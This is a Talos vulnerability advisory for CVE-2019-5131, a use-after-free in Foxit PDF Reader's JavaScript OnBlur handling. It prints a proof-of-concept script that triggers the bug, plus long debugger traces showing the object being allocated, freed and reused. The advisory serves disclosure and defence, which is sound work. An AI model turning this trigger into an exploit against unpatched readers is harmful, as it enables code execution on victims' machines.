Talos Vulnerability Report

TALOS-2019-0920

Foxit PDF Reader JavaScript field action OnBlur remote code execution vulnerability

January 16, 2020
CVE Number

CVE-2019-5131

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software's Foxit PDF Reader, version 9.7.0.29435. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.7.0.29435.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

Form fields inside PDF documents can have JavaScript event handlers attached to them. Event handlers are executed when one of the specified "actions" happens. A vulnerability exists in the way Foxit handles OnBlur actions which are triggered when a field loses focus. An excerpt from the PoC demonstrates this:

function main() { 
app.activeDocs[0].getField('txt2').setAction("OnBlur",'f();');
app.activeDocs[0].getField('txt2').setFocus(); 
app.activeDocs[0].getField('txt1').setFocus();
app.activeDocs[0].removeField("txt2");
}

function f() {
app.activeDocs[0].getField('txt2').setFocus();
}

try{main();}catch(e){app.alert(e);}

In the above code, we first set the OnBlur event handler for field txt2, then shift focus to it and immediately shift focus to field txt1. This invokes the action which refocuses on the same field. When the action is done, we call removeField to remove the txt2. Then a use after free is triggered.

If we follow the javascript execution in the debugger we can see that during handling of OnBlur action an object is being allocated:

bp FoxitReader+0139d142 #allocating
0:000>
eax=002b0480 ebx=00000000 ecx=3b0c9bbb edx=0039dd08 esi=00000014 edi=0d7f6f90
eip=040b9507 esp=0039dde0 ebp=0039ddf0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
FoxitReader!CFXJSE_Arguments::GetValue+0xf75587:
040b9507 ff1594956604    call    dword ptr [FoxitReader!CFXJSE_Arguments::GetValue+0x1525614 (04669594)] ds:002b:04669594={ntdll!RtlAllocateHeap (77d75d00)}
0:000> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0039ddf0 03e2aed7 FoxitReader!CFXJSE_Arguments::GetValue+0xf75587
0039de04 0238d147 FoxitReader!CFXJSE_Arguments::GetValue+0xce6f57
0039df0c 0238e6e9 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2c6847
0039df50 0238a21f FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2c7de9
0039df64 023864a7 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2c391f
0039dfe0 0260ce31 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2bfba7
0039e010 01795914 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x546531
0039e098 011fe8d1 FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2a0d44
0039e0fc 01b4e9b1 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x5ea1
0039e158 01b24505 FoxitReader!CryptUIWizExport+0x1e6e31
0039e1b4 031439bb FoxitReader!CryptUIWizExport+0x1bc985
0039e1fc 0330bb99 FoxitReader!FXJSE_GetClass+0x22b
0039e250 0330b32f FoxitReader!CFXJSE_Arguments::GetValue+0x1c7c19
0039e2e4 0330b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x1c73af
0039e32c 0330b48b FoxitReader!CFXJSE_Arguments::GetValue+0x1c7671
0039e348 034b2ac7 FoxitReader!CFXJSE_Arguments::GetValue+0x1c750b
0039e368 03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x36eb47
0039e3a4 03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x2fd480
0039e3d8 0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x2fd480
0039e3ec 0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x2fb00f
0039e418 0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x2fae2b
0039e4dc 03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x36576
0039e55c 03167177 FoxitReader!CFXJSE_Arguments::GetValue+0x36057
0039e618 0314210f FoxitReader!CFXJSE_Arguments::GetValue+0x231f7
0039e690 03142924 FoxitReader!FXJSE_Runtime_Release+0xc7f
0039e6a4 01ab1e22 FoxitReader!FXJSE_ExecuteScript+0x14
0039e710 01ab2c3d FoxitReader!CryptUIWizExport+0x14a2a2
0039e720 0177251d FoxitReader!CryptUIWizExport+0x14b0bd
0039e738 017716ce FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x27d94d
0039e778 01770570 FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x27cafe
0039e7cc 011508e0 FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x27b9a0
0039e818 0134370b FoxitReader!google::LogMessageVoidify::operator&+0x6ee0
0039f424 03e38c48 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x5821b
0039f4f4 03e39e21 FoxitReader!CFXJSE_Arguments::GetValue+0xcf4cc8
0039f518 03e347c4 FoxitReader!CFXJSE_Arguments::GetValue+0xcf5ea1
0039f58c 03e35037 FoxitReader!CFXJSE_Arguments::GetValue+0xcf0844
0039f5ac 7770bf1b FoxitReader!CFXJSE_Arguments::GetValue+0xcf10b7
0039f5d8 777083ea USER32!_InternalCallWinProc+0x2b
0039f6c0 77707c9e USER32!UserCallWinProcCheckWow+0x3aa
0039f73c 77707a80 USER32!DispatchMessageWorker+0x20e
0039f748 012db2a4 USER32!DispatchMessageW+0x10
0039f764 012db34e FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0xe2874
0039f780 04206811 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0xe291e
0039f798 0401c52e FoxitReader!CFXJSE_Arguments::GetValue+0x10c2891
0039f7e4 77368494 FoxitReader!CFXJSE_Arguments::GetValue+0xed85ae
0039f7f8 77d941c8 KERNEL32!BaseThreadInitThunk+0x24
0039f840 77d94198 ntdll!__RtlUserThreadStart+0x2f
0039f850 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> ub
FoxitReader!CFXJSE_Arguments::GetValue+0xf75573:
040b94f3 56              push    esi
040b94f4 e8514c0100      call    FoxitReader!CFXJSE_Arguments::GetValue+0xf8a1ca (040ce14a)
040b94f9 59              pop     ecx
040b94fa 85c0            test    eax,eax
040b94fc 7415            je      FoxitReader!CFXJSE_Arguments::GetValue+0xf75593 (040b9513)
040b94fe 56              push    esi
040b94ff 6a00            push    0
040b9501 ff350cd07105    push    dword ptr [FoxitReader!fLI::FLAGS_logemaillevel+0xb9b20 (0571d00c)]
0:000> ?esi
Evaluate expression: 20 = 00000014
0:000>
0:000> p
eax=26647fe8 ebx=00000000 ecx=ddf0bde1 edx=01000002 esi=00000014 edi=0d7f6f90
eip=040b950d esp=0039ddec ebp=0039ddf0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
FoxitReader!CFXJSE_Arguments::GetValue+0xf7558d:
040b950d 85c0            test    eax,eax
0:000> ?eax
Evaluate expression: 644120552 = 26647fe8
0:000> !heap -p -a eax
    address 26647fe8 found in
    _DPH_HEAP_ROOT @ 671000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                1f6735e4:         26647fe8               14 -         26647000             2000
          unknown!fillpattern
    6dfdabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    77e1245b ntdll!RtlDebugAllocateHeap+0x00000039
    77d76dd9 ntdll!RtlpAllocateHeap+0x000000f9
    77d75ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    77d75d3e ntdll!RtlAllocateHeap+0x0000003e
    040b950d FoxitReader!CFXJSE_Arguments::GetValue+0x00f7558d
    03e2aed7 FoxitReader!CFXJSE_Arguments::GetValue+0x00ce6f57
    0238d147 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c6847
    0238e6e9 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c7de9
    0238a21f FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c391f
    023864a7 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002bfba7
    0260ce31 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00546531
    01795914 FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x002a0d44
    011fe8d1 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00005ea1
    01b4e9b1 FoxitReader!CryptUIWizExport+0x001e6e31
    01b24505 FoxitReader!CryptUIWizExport+0x001bc985
    031439bb FoxitReader!FXJSE_GetClass+0x0000022b
    0330bb99 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7c19
    0330b32f FoxitReader!CFXJSE_Arguments::GetValue+0x001c73af
    0330b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7671
    0330b48b FoxitReader!CFXJSE_Arguments::GetValue+0x001c750b
    034b2ac7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036eb47
    03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
    03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
    0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
    0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
    0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
    03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057
    03167177 FoxitReader!CFXJSE_Arguments::GetValue+0x000231f7
    0314210f FoxitReader!FXJSE_Runtime_Release+0x00000c7f
    03142924 FoxitReader!FXJSE_ExecuteScript+0x00000014
    01ab1e22 FoxitReader!CryptUIWizExport+0x0014a2a2

Continuing the execution shows the object being freed:

bp  FoxitReader+0139c2e2-5 # calling free

0:000> g
Breakpoint 1 hit
eax=00000005 ebx=0d7f6fac ecx=199f3ff8 edx=199f3ffc esi=26647fe8 edi=1f944fe8
eip=0238c2dd esp=0039df40 ebp=0039df60 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2c59dd:
0238c2dd e83603c901      call    FoxitReader!CFXJSE_Arguments::GetValue+0xed8698 (0401c618)
0:000> !heap -p -a poi(esp)
    address 26647fe8 found in
    _DPH_HEAP_ROOT @ 671000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                1f6735e4:         26647fe8               14 -         26647000             2000
          ? FoxitReader!std::basic_streambuf<char,std::char_traits<char> >::`vftable'+ab4d4
    6dfdabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    77e1245b ntdll!RtlDebugAllocateHeap+0x00000039
    77d76dd9 ntdll!RtlpAllocateHeap+0x000000f9
    77d75ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    77d75d3e ntdll!RtlAllocateHeap+0x0000003e
    040b950d FoxitReader!CFXJSE_Arguments::GetValue+0x00f7558d
    03e2aed7 FoxitReader!CFXJSE_Arguments::GetValue+0x00ce6f57
    0238d147 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c6847
    0238e6e9 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c7de9
    0238a21f FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c391f
    023864a7 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002bfba7
    0260ce31 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00546531
    01795914 FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x002a0d44
    011fe8d1 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00005ea1
    01b4e9b1 FoxitReader!CryptUIWizExport+0x001e6e31
    01b24505 FoxitReader!CryptUIWizExport+0x001bc985
    031439bb FoxitReader!FXJSE_GetClass+0x0000022b
    0330bb99 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7c19
    0330b32f FoxitReader!CFXJSE_Arguments::GetValue+0x001c73af
    0330b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7671
    0330b48b FoxitReader!CFXJSE_Arguments::GetValue+0x001c750b
    034b2ac7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036eb47
    03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
    03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
    0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
    0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
    0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
    03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057
    03167177 FoxitReader!CFXJSE_Arguments::GetValue+0x000231f7
    0314210f FoxitReader!FXJSE_Runtime_Release+0x00000c7f
    03142924 FoxitReader!FXJSE_ExecuteScript+0x00000014
    01ab1e22 FoxitReader!CryptUIWizExport+0x0014a2a2

0:000>

The code above shows the object just before it's freed. Continuing the execution after the field is removed causes a crash (with PageHeap enabled):

0:000> g
(1374.bc4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=26647fe8 ebx=0d7f6f94 ecx=0d7f6f94 edx=1b46af84 esi=0d7f6f94 edi=1d908e90
eip=0238d560 esp=0039ddb0 ebp=0039dde4 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2c6c60:
0238d560 8b4808          mov     ecx,dword ptr [eax+8] ds:002b:26647ff0=????????
0:000> !heap -p -a eax
    address 26647fe8 found in
    _DPH_HEAP_ROOT @ 671000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   1f6735e4:         26647000             2000
    6dfdae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77e12c91 ntdll!RtlDebugFreeHeap+0x0000003e
    77d73c45 ntdll!RtlpFreeHeap+0x000000d5
    77d73812 ntdll!RtlFreeHeap+0x00000222
    040b94b7 FoxitReader!CFXJSE_Arguments::GetValue+0x00f75537
    04097261 FoxitReader!CFXJSE_Arguments::GetValue+0x00f532e1
    0401c623 FoxitReader!CFXJSE_Arguments::GetValue+0x00ed86a3
    0238c2e2 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c59e2
    0238c750 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c5e50
    0238c52e FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c5c2e
    02388152 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c1852
    0238839b FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c1a9b
    0238773b FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c0e3b
    023869a6 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c00a6
    02386116 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002bf816
    0260caf8 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x005461f8
    0179546c FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x002a089c
    01226230 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002d800
    01a82017 FoxitReader!CryptUIWizExport+0x0011a497
    01a319f5 FoxitReader!CryptUIWizExport+0x000c9e75
    031439bb FoxitReader!FXJSE_GetClass+0x0000022b
    0330bb99 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7c19
    0330b32f FoxitReader!CFXJSE_Arguments::GetValue+0x001c73af
    0330b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7671
    0330b48b FoxitReader!CFXJSE_Arguments::GetValue+0x001c750b
    034b2ac7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036eb47
    03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
    03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
    0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
    0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
    0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
    03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057

0:000>

The crash is due to a read access of a freed object. Manipulating the freed memory before it is reused can lead to arbitrary code execution.

Timeline

2019-10-23 - Vendor Disclosure
2020-01-16 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.